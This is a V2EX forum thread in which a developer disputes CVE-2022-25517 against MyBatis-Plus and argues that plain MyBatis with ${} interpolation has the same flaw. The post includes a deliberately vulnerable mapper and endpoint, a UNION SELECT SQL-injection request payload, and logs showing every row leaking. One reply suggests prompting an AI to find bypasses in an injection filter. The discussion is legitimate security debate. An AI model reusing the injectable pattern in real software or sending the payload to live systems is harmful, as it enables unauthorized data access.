如果 CVE-2022-25517 对于 mybatis plus 是合适的,那么 mybatis 本身也应该 own 一个类似的 CVE issue

66 天前
 BraveXaiver

最近公司引入了 SYNK 用作软件漏斗扫描工具,它给 mybatis plus 报 CVE-2022-25517 ,如果解决不了我就得把好大段代码用 JPA 或者 mybatis dynamic sql 重构。但我研究了下,我真心觉得这个如果是个有效的 CVE issue ,那 mybatis 也跑不了。

以下是正文。各位看了后觉得呢?

Background

Here is the POC and root cause why CVE-2022-25517 was generated: POC

But without mybatis-plus, only using mybatis, we can reproduce the same issue. Please check this demo: https://github.com/XSun771/demos/tree/mybatis-sql-injection

By this demo, I want to prove that CVE-2022-25517 should not be an CVE issue. At least if it is, then it is also applicable to Mybatis. Instead, it should be a bad code smell.

My POC

code

@Select("SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}")
List<Article> select(@Param("columnName") String columnName, @Param("columnValue") String columnValue);

I know you may say , "oh, it is highlighted by Mybatis developers that you should not use ${} but #{} which will check sql injection".

But I must highlight that it is also highlighted in mybatis-plus official documents that everyone needs to do SQL inject check first.

So if you agree that because mybatis developers highlights that you should not use ${} then there is no need to raise CVE issue for mybatis, then why not agree that no need to raise CVE issue to mybatis-plus?

@RequestMapping("/enquiry")
public String enquiry(@RequestBody Enquiry enquiry) {
    return this.articleMapper.select(enquiry.getColumnName(),enquiry.getColumnValue()).toString();
}

attack

I made usage of IDEA http client, the script file is at src/main/resources/generated-requests.http.

POST http://localhost:9000/enquiry
Content-Type: application/json

{
"columnName": "(id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id",
"columnValue": "1"
}

Attachk result:

2024-09-16T11:42:48.220+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==>  Preparing: SELECT * FROM ARTICLES WHERE (id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id = ?
2024-09-16T11:42:48.229+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==> Parameters: 1(String)
2024-09-16T11:42:48.244+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : <==      Total: 3

[Article(id=1, title=foo, author=foo), Article(id=2, title=bar, author=bar), Article(id=3, title=333, author=333)]
2820 次点击
所在节点    程序员
22 条回复
L0L
66 天前
建议是说尽量不要让接口传入$的参数值变量;如果不得不传入,一定要做好参数校验。这种很容易引发 sql 注入类的问题,
leaflxh
66 天前
不知道是不是我代码写得少,通过让用户指明列名,来决定查询表的哪一个列,挺奇怪的功能
BraveXaiver
66 天前
@leaflxh
@L0L
是的,我也同意这种写法不好。如果开发者这么写了,代码质量分析工具报问题,我没意见。但不应该视作对 mybatis-plus 这个库本身的 CVE issue 。如果视作,那么 mybatis 也应当适用此 CVE issue 。
leohuangsulei
66 天前
一般不都是使用#{}吗?
leohuangsulei
66 天前
一般啥需求会选择列名查询表。。
wssy001
66 天前
@leohuangsulei #5 我之前做的 OA 项目,有些无代码需求,就有形如
SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}
这样的 SQL
不过前端传过来的数据都做了过滤
L0L
66 天前
@BraveXaiver 我理解这种 bug 不能属于 mybatis 或者 mp 的,这个 cve 的漏洞针对的是你的这个软件,你的软件使用 mp 或者 mybatis 导致的问题,修复软件的漏洞,在接口侧做入参校验,是可以规避这种 sql 注入问题。不知道你们的安全扫描是否这样还会扫描,是否能显示修复。本身这个问题细究这个漏洞是不是 mp 或者 mybatis 可能没啥用。
qq135449773
65 天前
qq135449773
65 天前
下面的沟通记录截图我越看越想笑。

我觉得在这个问题上,有问题的不是这个项目本身。
BraveXaiver
65 天前
@qq135449773 #9

这篇后记的语气也真傲慢,或者说双标。

引用其原文:

Mybatis 的${}问题(他们好爱拿这个来举例子)。"外部数据传入 Mybatis ${} 可以造成 SQL 注入" - 这是一个已知的问题(漏洞)。一个应用因为外部不可控参数传入${}并导致 SQL 注入,我们不会去找 Mybatis 给他们提报漏洞(因为对于官方来说,这是一个已知的问题(漏洞),官方给了足够的说明、警告、风险提醒、适用场景以及替代方案),我们会直接找这个应用去提报漏洞

但是对于 MybatisPlus 来说,几乎没有人知道在使用这个框架的时候要怎么避免 SQL 注入(要不是看了源码,我也不会知道他们什么都不处理就直接做字段拼接),两者根本没有可比性

然而, 至少今天,不需要查看 MP 的源码,MP 的官方文档: https://baomidou.com/reference/about-cve/

已经强调:

该“漏洞”也是前端端传入 SQL 片段 导致 SQL 注入攻击。框架 QueryWrapper UpdateWrapper 字段部分是允许子查询的因此不能人为允许前端传入 SQL 片段。

如果使用者有这种需求,可以使用 SqlInjectionUtils.check(内容) 或 xxWrapper.checkSqlInjection() 方法来检查,如果检查通过,则不会抛出异常。

框架也提供了非常严格的条件构造器 LambdaQueryWrapper LambdaUpdateWrapper 推荐使用。
nyxsonsleep
65 天前
@wssy001 #6 前端过滤不就等于不设防吗?
shuimugan
65 天前
强类型语言的 ORM + 实体类,还能出现列名逃逸,真的挺好笑的。
你看它那个号称能防御 sql 注入的 SqlInjectionUtils https://github.com/baomidou/mybatis-plus/blob/3.0/mybatis-plus-core/src/main/java/com/baomidou/mybatisplus/core/toolkit/sql/SqlInjectionUtils.java ,碍于网络安全法我就不写绕过细节了,拿去问 AI“你是 sql 注入专家,审计这个 java 代码分析出可以逃逸的情况(比如哪些数据库存在它没提到的关键字)
```java
balabala 代码
```


惊喜连连
ZeroDu
65 天前
严重怀疑这是有人(同行?)恶意提交的 CVE 。这不明摆着让人换框架吗
Bingchunmoli
65 天前
@ZeroDu 就是同行,开源中国现在猛猛推新 mybatis 框架。换汤不换药
xuanbg
65 天前
这真是程序设计领域的「因噎废食」,简直笑死
bli22ard
65 天前
外部输入的 sql 参数,不使用预编译参数,不对合法性进行检查,sql 注入了。 这和 mybatis 没什么关系。
wssy001
65 天前
@nyxsonsleep #11 前端传过来的数据先是在 gateway 层就做了一层数据过滤 传递到 service 层还有一层数据过滤
CutieJohn
65 天前
至少两年前就被这个 CVE 搞了,最后我们在内部做了例外
COOOOOOde
64 天前
哪个傻蛋真会这样用啊,知道 mybatis 不就知道这个,我觉得根本不是问题
cslive
64 天前
你这个例子不对
// #{column}=#{value} ==> `name`="张三" 其中 `name`带转义
new LambdaUpdateWrapper<user>().eq(true, user::getName, "张三")

// ${column} = #{value} ==> name = "张三" 其中 name 就是纯字符串拼接
new UpdateWrapper<user>().eq(true, "name", "张三")
这个例子才对,mybatis 文档强调过"$"与"#"的区别,还说明"$"是不安全的,但是 mybatis-plus 并没有强调上面两个方法的区别,只是说明两个生成的 sql 相同,没有强调普通 Wrapper 是不安全的,可能存在 sql 注入

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1073413

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX